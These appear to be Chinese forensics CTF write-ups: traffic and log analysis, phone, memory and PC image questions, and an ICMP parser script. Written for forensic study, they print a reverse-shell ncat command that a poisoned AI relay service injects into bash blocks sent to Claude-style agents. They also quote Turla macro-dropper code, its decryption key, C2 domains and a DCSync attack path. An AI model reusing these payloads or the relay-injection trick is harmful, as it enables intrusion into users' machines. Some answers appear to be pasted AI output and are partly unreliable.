![assets/DIDCTF 应急响应流量日志分析部分/file-20260506183552210.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738165-2113916017.png)

wireshark0.5

http.request.method=="POST"找login位置
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506185330908.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738271-1937991166.png)

wireshark1

最后一个post流执行了压缩命令，密码是Adm1n!
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506192150964.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738227-1381129604.png)
另外我们可以分离出下载的压缩包
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506192212288.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738270-525812706.png)
打开文件就可以获得key
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506192230824.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738051-2067300805.png)

wireshark2

让ai写了个icmp解析器

import tkinter as tk
from tkinter import ttk, filedialog, messagebox
import re
from datetime import datetime

try:
    from scapy.all import rdpcap, IP, IPv6, ICMP, ICMPv6EchoRequest, ICMPv6EchoReply, Raw
except ImportError:
    messagebox.showerror("缺少依赖", "请先安装 scapy：pip install scapy")
    raise


def printable_ascii(data: bytes) -> str:
    return ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data)


def extract_strings(data: bytes, min_len=4):
    text = printable_ascii(data)
    return re.findall(r"[ -~]{" + str(min_len) + r",}", text)


def hex_dump(data: bytes, width=16):
    lines = []
    for i in range(0, len(data), width):
        chunk = data[i:i + width]
        hex_part = " ".join(f"{b:02x}" for b in chunk)
        ascii_part = printable_ascii(chunk)
        lines.append(f"{i:08x}  {hex_part:<{width * 3}}  {ascii_part}")
    return "\n".join(lines)


class ICMPParserApp:
    def __init__(self, root):
        self.root = root
        self.root.title("ICMP 流量解析器")
        self.root.geometry("1200x720")

        self.packets = []
        self.icmp_records = []

        self.build_ui()

    def build_ui(self):
        top_frame = ttk.Frame(self.root)
        top_frame.pack(fill=tk.X, padx=8, pady=6)

        ttk.Button(top_frame, text="打开 PCAP/PCAPNG", command=self.open_file).pack(side=tk.LEFT, padx=4)
        ttk.Button(top_frame, text="搜索 key/flag", command=self.search_sensitive).pack(side=tk.LEFT, padx=4)
        ttk.Button(top_frame, text="提取所有可见字符串", command=self.show_all_strings).pack(side=tk.LEFT, padx=4)
        ttk.Button(top_frame, text="拼接 Echo Request 首字符", command=self.rebuild_first_chars).pack(side=tk.LEFT, padx=4)
        ttk.Button(top_frame, text="清空", command=self.clear).pack(side=tk.LEFT, padx=4)

        self.status_var = tk.StringVar(value="请打开一个流量包")
        ttk.Label(top_frame, textvariable=self.status_var).pack(side=tk.RIGHT, padx=8)

        main_pane = ttk.PanedWindow(self.root, orient=tk.VERTICAL)
        main_pane.pack(fill=tk.BOTH, expand=True, padx=8, pady=6)

        table_frame = ttk.Frame(main_pane)
        main_pane.add(table_frame, weight=2)

        columns = ("no", "time", "src", "dst", "proto", "type", "code", "len", "ascii")
        self.tree = ttk.Treeview(table_frame, columns=columns, show="headings")

        headers = {
            "no": "序号",
            "time": "时间",
            "src": "源地址",
            "dst": "目的地址",
            "proto": "协议",
            "type": "Type",
            "code": "Code",
            "len": "数据长度",
            "ascii": "Data ASCII 预览"
        }

        widths = {
            "no": 60,
            "time": 160,
            "src": 150,
            "dst": 150,
            "proto": 80,
            "type": 80,
            "code": 80,
            "len": 80,
            "ascii": 420
        }

        for col in columns:
            self.tree.heading(col, text=headers[col])
            self.tree.column(col, width=widths[col], anchor=tk.W)

        self.tree.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)

        scrollbar = ttk.Scrollbar(table_frame, orient=tk.VERTICAL, command=self.tree.yview)
        scrollbar.pack(side=tk.RIGHT, fill=tk.Y)
        self.tree.configure(yscrollcommand=scrollbar.set)

        self.tree.bind("<>", self.on_packet_select)

        detail_frame = ttk.Frame(main_pane)
        main_pane.add(detail_frame, weight=3)

        detail_label = ttk.Label(detail_frame, text="数据区详情：Hex + ASCII")
        detail_label.pack(anchor=tk.W)

        self.text = tk.Text(detail_frame, wrap=tk.NONE, font=("Consolas", 11))
        self.text.pack(fill=tk.BOTH, expand=True)

        x_scroll = ttk.Scrollbar(detail_frame, orient=tk.HORIZONTAL, command=self.text.xview)
        x_scroll.pack(fill=tk.X)
        self.text.configure(xscrollcommand=x_scroll.set)

    def open_file(self):
        file_path = filedialog.askopenfilename(
            title="选择流量包",
            filetypes=[
                ("PCAP files", "*.pcap *.pcapng"),
                ("All files", "*.*")
            ]
        )

        if not file_path:
            return

        try:
            self.clear()
            self.status_var.set("正在解析，请稍等...")

            self.packets = rdpcap(file_path)
            self.parse_icmp_packets()

            self.status_var.set(f"已加载：{file_path}，共发现 {len(self.icmp_records)} 个 ICMP/ICMPv6 包")

            if not self.icmp_records:
                messagebox.showinfo("提示", "没有发现 ICMP/ICMPv6 数据包")

        except Exception as e:
            messagebox.showerror("解析失败", str(e))
            self.status_var.set("解析失败")

    def parse_icmp_packets(self):
        for index, pkt in enumerate(self.packets, start=1):
            record = None

            if IP in pkt and ICMP in pkt:
                ip = pkt[IP]
                icmp = pkt[ICMP]
                payload = bytes(icmp.payload)

                record = {
                    "no": index,
                    "time": self.format_time(float(pkt.time)),
                    "src": ip.src,
                    "dst": ip.dst,
                    "proto": "ICMP",
                    "type": int(icmp.type),
                    "code": int(icmp.code),
                    "payload": payload,
                    "summary": pkt.summary()
                }

            elif IPv6 in pkt and (ICMPv6EchoRequest in pkt or ICMPv6EchoReply in pkt):
                ip = pkt[IPv6]
                if ICMPv6EchoRequest in pkt:
                    icmp6 = pkt[ICMPv6EchoRequest]
                    icmp_type = 128
                else:
                    icmp6 = pkt[ICMPv6EchoReply]
                    icmp_type = 129

                payload = bytes(icmp6.payload)

                record = {
                    "no": index,
                    "time": self.format_time(float(pkt.time)),
                    "src": ip.src,
                    "dst": ip.dst,
                    "proto": "ICMPv6",
                    "type": icmp_type,
                    "code": 0,
                    "payload": payload,
                    "summary": pkt.summary()
                }

            if record:
                self.icmp_records.append(record)
                ascii_preview = printable_ascii(record["payload"])
                if len(ascii_preview) > 80:
                    ascii_preview = ascii_preview[:80] + "..."

                self.tree.insert(
                    "",
                    tk.END,
                    iid=str(len(self.icmp_records) - 1),
                    values=(
                        record["no"],
                        record["time"],
                        record["src"],
                        record["dst"],
                        record["proto"],
                        record["type"],
                        record["code"],
                        len(record["payload"]),
                        ascii_preview
                    )
                )

    def on_packet_select(self, event=None):
        selected = self.tree.selection()
        if not selected:
            return

        idx = int(selected[0])
        record = self.icmp_records[idx]
        payload = record["payload"]

        self.text.delete("1.0", tk.END)

        info = []
        info.append(f"原始包序号：{record['no']}")
        info.append(f"时间：{record['time']}")
        info.append(f"源地址：{record['src']}")
        info.append(f"目的地址：{record['dst']}")
        info.append(f"协议：{record['proto']}")
        info.append(f"Type/Code：{record['type']}/{record['code']}")
        info.append(f"Payload 长度：{len(payload)} 字节")
        info.append(f"摘要：{record['summary']}")
        info.append("")
        info.append("ASCII：")
        info.append(printable_ascii(payload))
        info.append("")
        info.append("Hex Dump：")
        info.append(hex_dump(payload))

        self.text.insert(tk.END, "\n".join(info))

    def search_sensitive(self):
        if not self.icmp_records:
            messagebox.showinfo("提示", "请先打开流量包")
            return

        keywords = ["key", "flag", "password", "pass", "secret", "token"]
        result = []

        for record in self.icmp_records:
            data = printable_ascii(record["payload"])
            lower_data = data.lower()

            if any(k in lower_data for k in keywords):
                result.append(
                    f"[包序号 {record['no']}] {record['src']} -> {record['dst']} "
                    f"Type={record['type']} Code={record['code']}\n{data}\n"
                )

        self.text.delete("1.0", tk.END)

        if result:
            self.text.insert(tk.END, "发现疑似敏感内容：\n\n")
            self.text.insert(tk.END, "\n".join(result))
        else:
            self.text.insert(tk.END, "没有直接发现 key/flag/password/secret/token 等关键字。\n")
            self.text.insert(tk.END, "可以尝试点击“提取所有可见字符串”继续查看。")

    def show_all_strings(self):
        if not self.icmp_records:
            messagebox.showinfo("提示", "请先打开流量包")
            return

        result = []

        for record in self.icmp_records:
            strings = extract_strings(record["payload"], min_len=4)
            if strings:
                result.append(f"[包序号 {record['no']}] {record['src']} -> {record['dst']}")
                for s in strings:
                    result.append(f"  {s}")
                result.append("")

        self.text.delete("1.0", tk.END)

        if result:
            self.text.insert(tk.END, "\n".join(result))
        else:
            self.text.insert(tk.END, "没有提取到长度 >= 4 的可见字符串。")

    def rebuild_first_chars(self):
        if not self.icmp_records:
            messagebox.showinfo("提示", "请先打开流量包")
            return

        chars_all = []
        chars_request = []

        for record in self.icmp_records:
            payload = record["payload"]
            if not payload:
                continue

            first_char = chr(payload[0]) if 32 <= payload[0] <= 126 else "."
            chars_all.append(first_char)

            if record["proto"] == "ICMP" and record["type"] == 8:
                chars_request.append(first_char)

            if record["proto"] == "ICMPv6" and record["type"] == 128:
                chars_request.append(first_char)

        self.text.delete("1.0", tk.END)
        self.text.insert(tk.END, "所有 ICMP/ICMPv6 Payload 首字符拼接：\n")
        self.text.insert(tk.END, "".join(chars_all))
        self.text.insert(tk.END, "\n\nEcho Request Payload 首字符拼接：\n")
        self.text.insert(tk.END, "".join(chars_request))

    def clear(self):
        self.packets = []
        self.icmp_records = []
        for item in self.tree.get_children():
            self.tree.delete(item)
        self.text.delete("1.0", tk.END)
        self.status_var.set("已清空")

    @staticmethod
    def format_time(ts):
        try:
            return datetime.fromtimestamp(ts).strftime("%Y-%m-%d %H:%M:%S")
        except Exception:
            return str(ts)


if __name__ == "__main__":
    root = tk.Tk()
    app = ICMPParserApp(root)
    root.mainloop()

![assets/DIDCTF 应急响应流量日志分析部分/file-20260506202546489.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738514-73492687.png)
一共执行三次命令，第三次就显示key1了

wireshark2.1

分离
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506203140571.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738368-590009101.png)
题目告诉了解压密码直接用就行
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506203157369.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738228-1629178566.png)

wireshark3

这里发现一个key
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506203547084.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738363-1617255856.png)
并且提取的压缩包中有一个带密码，拿这个解
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506203613424.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738151-1342385891.png)
后面大家都知道了

linux-log

找第一次accepted password的位置
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506204822237.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738301-480829471.png)

welog1

只有最后三条是200
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506205002488.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738380-1040898581.png)
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506205105016.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738256-666905731.png)
发现有一串hex可疑，进行单独解码
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506205118682.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738282-958988056.png)
获得了连接密码

data-recovery

用ufs恢复，发现flag
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506205459094.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738540-1237282538.png)
打开就看得到
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506205610675.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738285-1849613072.png)

didctf电子取证初学WP

2026-05-06T09:17:30.000Z

计算机取证

计算机取证-1简答分值 10计算机取证

1.请找出操作系统主机名。

计算机取证-2简答分值 10计算机取证

2.请给出源磁盘的SHA256哈希值。

计算机取证-3简答分值 10计算机取证

3.请找出操作系统中安装的Android模拟器名称和安装日期。（格式：雷电模拟器2025年06月26日）
noxplayer夜神模拟器

55个用户已解出

计算机取证-4简答分值 10计算机取证

4.请找出使用Bitlocker加密的虚拟磁盘文件。（格式：xxx.xx/xxxx.xx）

31个用户已解出

计算机取证-5简答分值 10计算机取证

5.请找出操作系统安装日期。

计算机取证-6简答分值 10计算机取证

6.请找出操作系统最后登录的用户。

计算机取证-7简答分值 10计算机取证

7.请找出操作系统中安装的浏览器最后浏览过的网站域名 [格式： www.baidu.com]

passport.baidu.com

计算机取证-8单选分值 10计算机取证

8.请找出操作系统中安装的浏览器名称的对应的安装日期。

A.360浏览器2021-05-03 20:16:43

B.Edge浏览器2021-05-03 20:26:44

C.谷歌浏览器2021-05-03 20:16:44

D.搜狗极速浏览器2021-06-03 20:16:44

计算机取证-9简答分值 10计算机取证

9.请找出操作系统版本号。

计算机取证-10简答分值 10计算机取证

10.请找出操作系统设置的时区名称。（格式：UTC+2）
UTC+0

计算机取证-11简答分值 10计算机取证

11.请找出操作系统中安装的浏览器“自动填充”中保存的网站密码信息（网站+用户名+密码）

计算机取证-12简答分值 10计算机取证

12.请找出用户“poiuy”的SID。

计算机取证-13简答分值 10计算机取证

13.请给出源磁盘的大小（字节）。（提示：一个扇区=512）

62914560 × 512 = 32212254720
计算机取证-14简答分值 10计算机取证

14.请找出各分区文件系统类型。

ntfs

计算机取证-15简答分值 10计算机取证

15.请找出曾经连接到该系统的U盘的品牌、序列号、最后插拔日期。（格式：xx+xx+2024-03-12）

SanDisk+4C530001310423109141+2021-05-04

计算机取证-16简答分值 10计算机取证

16.请找出回收站中的文件的名称（格式：2333.exe+1.txt+3.E01）

nox_setup_v7.0.0.6_full.exe+新建文本文档1.txt+测试.rtf

计算机取证-17简答分值 10计算机取证

17.请找出使用Bitlocker加密的虚拟磁盘文件恢复密钥文件名是什么。

计算机取证-18简答分值 10计算机取证

18.请找出用户“poiuy”的登录密码。

内存取证

内存取证-1简答分值 10内存取证
请给出计算机内存创建北京时间？ [答案格式：2000-01-11 00:00:00]
注意这里要+8（北京时间）

内存取证-2简答分值 10内存取证
请给出计算机内用户yang88的开机密码？ [答案格式：abc.123]

内存取证-3简答分值 10内存取证
提取内存镜像中的USB设备信息，给出该USB设备的最后连接北京时间？ [答案格式：2000-01-11 00:00:00]
这里真正像外接 U 盘的设备是：

1	VID_0781&PID_558CSerial Number: 32313131374D343032343132[2023-06-20 17:01:25 UTC]

其中：

VID_0781

通常对应 SanDisk 闪迪设备，PID_558C 是该 USB 设备的产品 ID。前面的 ROOT_HUB、ROOT_HUB20、VID_0E0F 更像是 USB 控制器、虚拟机相关设备，不是题目要找的外接 USB 存储设备。
所以最后连接时间取：2023-06-20 17:01:25 UTC
13个用户已解出
内存取证-4简答分值 10内存取证
请给出用户yang88的LMHASH值？ [答案格式：字母小写]

27个用户已解出
内存取证-5简答分值 10内存取证
请给出用户yang88访问过文件“提现记录.xlsx”的北京时间？ [答案格式：2000-01-11 00:00:00]
et.exe应该是create时作为访问
但是输进去不对
2023-06-21 00:58:31
14个用户已解出
内存取证-6简答分值 10内存取证
请给出“VeraCrypt”最后一次执行的北京时间？ [答案格式：2000-01-11 00:00:00]

23个用户已解出
内存取证-7简答分值 10内存取证
分析内存镜像，请给出用户在“2023-06-20 16:56:57 UTC+0”访问过“维斯塔斯”后台多少次？[答案格式:10]
2

16个用户已解出
内存取证-8简答分值 10内存取证
请给出用户最后一次访问chrome浏览器的进程PID？ [答案格式：1234]

2026平航wp

2026-04-15T13:20:51.000Z

分析早起王的手机，手机型号为？【答案格式:Xiaomi131*】

Pixel6

分析早起王的手机，早起王最近想旅行，结合高德地图搜索记录，他最可能去的景点是哪个？【答案格式:黄山】

西湖

分析早起王的手机，早起王在什么时间加上倩倩微信的？【答案格式:2025-08-18 07:09:19】

2026-03-30 15:13:08

分析早起王的手机，倩倩在2026年3月30号吃了什么？【答案格式:西湖醋鱼】

麻薯小蛋糕

分析倩倩的手机，倩倩手机的系统版本是多少？【答案格式:5.2.3.123】

6.0.0.380

分析倩倩的手机，“舔狗”的微信内部ID是多少？【答案格式:wxid_ab12】

wxid_uh5tfx2zi8yh22

分析倩倩的手机，倩倩曾给一位好友推荐游戏，这个好友叫什么名字？【答案格式:杨梅】

冰糖

备忘录里

分析倩倩的手机结合逆向包，推荐的游戏叫什么？【答案格式:far ochol8】

zero sievert
这个图片需要用前面的解密逻辑去解密

分析倩倩的手机，倩倩一共阅读过多少条搜狐新闻？【答案格式:11】

分析倩倩手机逆向包，数据加密app的包名是什么？【答案格式:con.kouei ji.satori】

com.koishi.fpt

证据来源：

module.json → “bundleName”:”com.koishi.fpt”
pack.info → “bundleName”: “com.koishi.fpt”
数据目录名 com.koishi.fpt/
接上题，初始化app时需要至少几位数的密码？【答案格式:10】

答案：6

从 modules.abc 字节码提取到关键字符串：

“密码长度至少为6位” — 初始设置密码校验
“新密码长度至少为6位” — 修改密码校验
“至少6位” — 输入框提示

同时发现 vault_prefs 中存储了：

password_hash: 217sr94q01679u39
salt: yqWpy+rJX82gRZuCjoB16w==

接上题，加密后的文件名的后缀是什么？【答案格式:enc】

.tb

接上题，app会自动识别几种后缀的文件为图片类型？【答案格式:8】

答案：5

从 modules.abc 字节码中提取到 getFileType 函数区域的后缀列表：

图片类型 (5种): jpg, jpeg, png, gif, webp
视频类型 (4种): mp4, mov, avi, mkv

验证方法：通过上下文分析确认这些后缀连续排列在同一区域，属于文件类型识别逻辑。排除了 tif(isFirstTime) 和 ico(icon) 等误匹配。

接上题，app共从用于自定义加密的so模块导入了几个方法？【答案格式:6】

答案：2

通过 IDA 逆向 libcrypto.so：

RegisterCryptoModule (0x5D4C) → napi_module_register
模块初始化函数 (0x5D58) → napi_define_properties(env, exports, 2, descriptors)

导出的2个方法：

rot13 → 0x5DE0 (ROT13 编码)
xorEncrypt → 0x603C (XOR 加密)
接上题，app设置的密码是多少？【答案格式:514aa11a4191a98】

答案：217fe94d01679h39

破解方法：

vault_prefs 中 password_hash = “217sr94q01679u39”
密码存储方式：原始密码经 ROT13 编码
ROT13 是自逆运算：ROT13(“217sr94q01679u39”) = “217fe94d01679h39”
字母映射：s→f, r→e, q→d, u→h，数字不变

接上题，app中存储的门锁密码是多少？【答案格式:5141141919810】

答案：1472580369123

解密细节：

加密文件：b88c3348-…json.tb
加密密钥：password_hash 原始值 “217sr94q01679u39”（不是ROT13解码后的密码）
加密算法：xorEncrypt → output[i] = (key[i%keyLen] + i%keyLen) ^ data[i]

解密后 JSON：

title: “门锁密码”
content: “1472580369123”
updatedAt: 1775196161152 (2026-04-01)

接上题，加密图片里面的隐藏的flag是多少？【答案格式:flag(123456!)】

flag{happy_forensics_2026!}

过程：

用 password_hash “217sr94q01679u39” + xorEncrypt 算法解密 .tb 文件

分析服务器镜像，内核版本为？【答案格式:5.10-301-generic】

6.8.0-107-generic

分析服务器镜像，用户登录成功系统的次数为？【答案格式:3】

分析服务器镜像，redis数据库服务密码是多少？【答案格式:abedef】

zjjcxy

分析服务器镜像，api站点后台管理员密码所用的加密算法为？【答案格式:berypt】

argon2id

分析服务器镜像，api站点后台管理员密码为(使用rockyou字典爆破，密码格式b1?????b，?为数字)？【答案格式:a123456】

b123321b

分析服务器镜像，登录api网站后台，后台通知设置里的超时事件(毫秒)为？【答案格式:10000】

114514

分析服务器镜像，登录api网站后台，查询总Token消耗数量为？【答案格式:999.9K】

474.2K

分析服务器镜像，登录api网站后台，查询最早创建apikey的时间为？【答案格式:2026-01-01T13:11:22.190Z】

2026-04-01T11:11:07.535Z

任务完成\n\n### 24. 总Token消耗数量\nRedis usage:global:total → allTokens = 474,197\n答案：474.2K\n\n### 25. 最早创建ApiKey时间\nRedis apikey:idx:createdAt 最早条目 → b599638c-3891-45da-9afc-95bb119a5059\n答案：2026-04-01T11:11:07.535Z

分析服务器镜像，编写脚本，通过调用inject_bash_blocks函数，确定恶意投毒的payload.(提示:输入一段包含bash块的文本)【答案格式:a.exe 192.168.1.122-1 hello】

ncat.exe 156.238.239.253 1314 -e powershell

恶意投毒 payload 分析
服务器：192.168.159.129，项目 /home/zaoqiwang/claude-relay-service/
发现：WASM 模块 bash_block_injector_bg.wasm（Rust 编译）中硬编码了恶意 payload。调用 inject_bash_blocks() 处理含 bash 代码块的文本时，会在每个 bash 块结束前自动注入反弹 shell 命令。
恶意 payload**：ncat.exe 156.238.239.253 1314 -e powershell\n

接上题，should_inject_for_ua(ua,ip)对UA字符串有过滤条件，只有特定UA才会进入后续判断，请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词【答案格式:11【提示;备选项:eurl,openclaw､mozi11a,wget,httpx,claude､requests.botseraler】

should_inject_for_ua UA 过滤条件分析\n\n方法：对 8 个备选 UA 关键词各进行 5000-10000 次调用的统计测试\n\n结果：只有 2 个 UA 关键词能使函数有机会返回 true：\n- openclaw (~~2% 概率)\n- claude (~~2% 概率)\n\n其余 6 个（curl, mozilla, wget, httpx, requests, botseraler）始终返回 false。\n\n函数逻辑：case-insensitive 子串匹配 + Math.random() ~2% 概率门控。\n\n答案：2

接上题，只有当同一IP的上次请求距今足够近时，才会进入概率判断，请编写脚本确定这个时间窗口的阀值(单位:ns)【答案格式:100,注意,只保留整百的,四舍五入】【提示:必须控制变量,每次实验使用一批全新的IP｡先统一记录时间裁,再等待固定间隔后统一检测,不可在等待期间更新问一TP的时间截,否则会刷新计时,从0ms到100ms逐步探测,找到从“俞中”变为“不命中”的临界间隔,建议每个间隔值使用≥200个IP以消除概率干扰｡】

500

时间窗口阈值\n\n方法：每个 delay 值使用独立进程 + 300个唯一 IP，分别测试 0-520ms 全范围\n\n结果：时间窗口阈值为 500ms\n- 1-495ms：命中率 ~2%（窗口内）\n- 500ms：命中率 0%（窗口外）\n- WASM 使用 Date.now()（毫秒级），内部阈值为 500

接上题，在A条件和IP时间条件均满足的前提下，函数仍有一定概率返回false，请编写脚本估算触发概率，并推算概率1/N(即理论上平均每N次满足两个条件的调用才触发一次)【答案格式:10,格式只保留整十】【提示:建议样本量不少于100次有效检测(A条件满足+IP时间条件满足),不然四舍五入会出现进位问题｡】

触发概率估算\n\n方法：20,000 唯一 IP，每个先注册再 10ms 后测试（确保 UA+IP 时间条件均满足）\n\n结果：\n- 触发次数：410/20,000\n- 概率：2.05% ≈ 1/48.78\n- 四舍五入到整十：N = 50\n\n答案：50

请分析早起王的PC镜像，计算机系统 Build版本是什么？【答案格式:12345.1234】【提示:仿真蓝屏是因存在OSDATA 文件,删除后即可正常仿真】

19045.6466

请分析早起王的PC镜像，用户深情专一沼气王:她是我的生死劫的登陆密码LM哈希值后六位？【答案格式:abe123】

c1b97a

请分析早起王的PC镜像，沼气王的桌面有本日记，请问沼气王暗恋对象的生日为？【答案格式:05月26日】

03月24日

伪加密修复后给了提示，?????04，大小写字母，爆破出来密码是ZqW2004

https://www.hackhp.com/archives/1137.html

进入命令提示符工具删掉目录

请分析早起王的PC镜像，早起王受到过一封邮件，请找出邮件中填写的秘密【答案格式:XX，其xx】

12点，老地方

https://www.spammimic.com/decode.shtml

请分析早起王的PC镜像，VeraCrypt容器的外层密码是什么？【答案格式:abe123】【提示:分析utools】

qq520250520250520250

请分析早起王的PC镜像，早起王设置了一个AI女友，并自行导入过一个角色模型，该模型的原始文件名为？【答案格式:ABC.vrm】

MANUKA.vrm

vc容器里的

请分析早起王的PC镜像，AI女友使用的模型是什么？【答案格式:openai/GPT5.3-Codex-01-01】

qwen/qwen3.5-flash-02-23

请分析早起王的PC镜像，该PC中有一个离线大模型软件，其上次对话使用的模型是？【答案格式:ministra1-3-14b-reasoning】

qwen2.5-coder-14b-instruct

请分析早起王的PC镜像，早起王曾删除一个MD5值为49B367AC261A722A7CZBBC328C32545的恶意文件，请尝试数据恢复并找到其文件名？【答案格式:abe123】

49b367ac261a722a7c2bbbc328c32545

接上题，该文件中有多个流(streams)包含宏，请提供其中编号最小的一个【答案格式:3】

使用 oledump.py 对 49b367ac261a722a7c2bbbc328c32545（OLE Word 文档，Dropper:O97M/Turla.A!dha）进行分析。

oledump 输出（带宏标记的流）

1 2	8: M 7117 'Macros/VBA/Module1' ← 包含实际VBA宏代码 9: m 1104 'Macros/VBA/ThisDocument' ← 空宏（仅属性）

M = 有实际VBA代码
m = 空宏模块

包含宏的流有 2 个（#8 和 #9），编号最小的是 8。

答案：8

接上题，混淆代码的解密密钥是什么？【答案格式:填写传入脚本的实际密钥｡不包含命令行分隔空格】

对 49b367ac261a722a7c2bbbc328c32545 中 Module1 (流#8) 的 VBA 宏进行分析。

关键代码逻辑

1 2	' 释放JS文件并传入密钥 R66BpJMgxXBo2h.Run """" + OBKHLrC3vEDjVL + """" + " EzZETcSXyKAdF_e5I2i1"

宏执行流程：

AutoOpen() 触发 → 搜索文档中的标记字符串
提取标记后的16828字节 → XOR流密码解密（初始key=45）
写入 maintools.js → 执行时传入解密密钥参数
接上题，释放并删除的文件是什么？【答案格式:abe.py】

从 VBA 宏代码中直接可见：

释放：AutoOpen() 中将解密数据写入 maintools.js

1
2
3

OBKHLrC3vEDjVL = B8qen2T433Ds1bW & \"\\\" & \"maintools.js\"
Open (OBKHLrC3vEDjVL) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j

删除：AutoClose() 中删除该文件

1	Kill OBKHLrC3vEDjVL

答案：maintools.js

接上题，该文件用的是什么语言？【答案格式:JavaScript】

maintools.js：

扩展名 .js → JavaScript
通过 WScript.Shell.Run 执行 → Windows Script Host (WSH) 的 JScript 运行环境
传入命令行参数 EzZETcSXyKAdF_e5I2i1 作为解密密钥

答案：JavaScript

接上题，分配给命令行参数的变量叫什么名字？【答案格式:abe3】

ssWZ

接上题，哪个函数返回下一阶段代码(即第一轮混淆代码)？【答案格式:abe3】

在 maintools.js 开头调用链中：

ES3c = y3zb()
ES3c = LXv5(ES3c)
ES3c = CpPT(ssWZ, ES3c)
eval(ES3c)

其中 y3zb 函数返回超长字符串 qGxZ（第一轮混淆代码载荷）。后续 LXv5 负责 Base64 解码，CpPT 负责基于命令行参数 ssWZ 的 RC4 解密。

答案：y3zb

接上题，可以使用哪个Windows 脚本主机程序在命令行模式下执行该脚本？【答案格式:wscript.exe】

cscript.exe

接上题，请提取出所有硬编码的C2(Command &Control)服务器域名？【答案格式:www.baidu.com、www.google.com，按照在代码中出现的顺序排序】

完成结果：从解密后的 stage2.js 中提取到硬编码 C2 URL 共 2 条，并按出现顺序解析域名如下：

对应代码位置为 CKpR 数组：

答案：www.saipadiesel124.com、www.folk-cantabria.com

接上题，当C2服务器返回”work”指令时，脚本下载并执行的最终文件扩展名是什么？【答案格式:0xe】

已定位 stage2.js 中 work 指令分支。

关键逻辑在 XBL3(B_TG)：

case “work” -> XBL3(Ysyo)
YIme = wyKN + LIxF.substring(0, LIxF.length - 2) + “pif”
下载并解密后写入 YIme
WE86.Run(“”” + YIme + “””) 执行该文件

结论：最终下载并执行文件扩展名为 pif。

答案：pif

接上题，如果与C2通信失败，脚本会调用哪个函数尝试自毁并清理痕迹？【答案格式:Aabc】
请分析早起王的PC镜像，该PC中neo4j数据库的密码是多少？【答案格式:abe3】
根据早起王笔录内容，早起王曾经对某企业进行过渗透攻击，请分析域内实体关系，FILESERVER,XIAORANG,LAB 对XIAORANG.LAB域拥有什么控制权限？【答案格式:ABCabe】

通过 BloodHound 数据：

FILESERVER.XIAORANG.LAB 通过以下组关系获得对 XIAORANG.LAB 域的权限：

Domain Controllers (PrimaryGroupSID: -516) → 对域有 GetChangesAll 权限
Enterprise Domain Controllers (S-1-5-9，显式成员) → 对域有 GetChanges + GetChangesInFilteredSet 权限

GetChanges + GetChangesAll = DCSync 攻击能力（可从域控复制所有用户密码哈希）

根据早起王笔录内容，早起王在渗透过程中已成功控制IZHANGXINXTAORANG.LAB，请结合域内实体关系图分析，早起王获取域控权限的完整攻击轨迹是什么？【答案格式:XXXXXXXXXXXXXXX.XXX->XXXXXXXXXX.XXXXXXX.XXX->XXXXXXXX.XXX】

答案：ZHANGXIN@XIAORANG.LAB->FILESERVER.XIAORANG.LAB->XIAORANG.LAB

通过分析U盘附件中的BloodHound数据(20260407200233_BloodHound.zip)，还原了从ZHANGXIN到域控的完整攻击路径：

ZHANGXIN@XIAORANG.LAB 是 Account Operators 组成员
Account Operators 对 FILESERVER.XIAORANG.LAB 有 GenericAll 权限（可完全控制）
FILESERVER 的 PrimaryGroupSID 是 Domain Controllers(-516)，且属于 Enterprise Domain Controllers(S-1-5-9)
Domain Controllers 对域有 GetChangesAll 权限，Enterprise Domain Controllers 有 GetChanges 权限 → 组合实现 DCSync
早起王在PC中记录过自己的犯罪动机并对其进行加密，请使用社工的方式破解加密文件，并提交密码【答案格式:aabe3**】
早起王曾给倩倩发送过一封钓鱼邮件，请找到并计算附件MD5值【答案格式:字母不区分大小写】

8172f0ac49a2742083571a34dcbfe772

接上题，编译木马使用的.NET版本是多少？【答案格式:1.1.45141】

4.0.30319

dnspy导出项目文件后丢给ai

读取 xWmDDA.csproj：v4.0，ToolsVersion="4.0"
读取 xWmDDA.sln：Solution Format Version 11.00（Visual Studio 2010）
读取 AssemblyInfo.cs：伪装为 “Adobe Installer”，版本号 2.12.0.20（这是程序集自身版本，非 .NET 版本）

结论

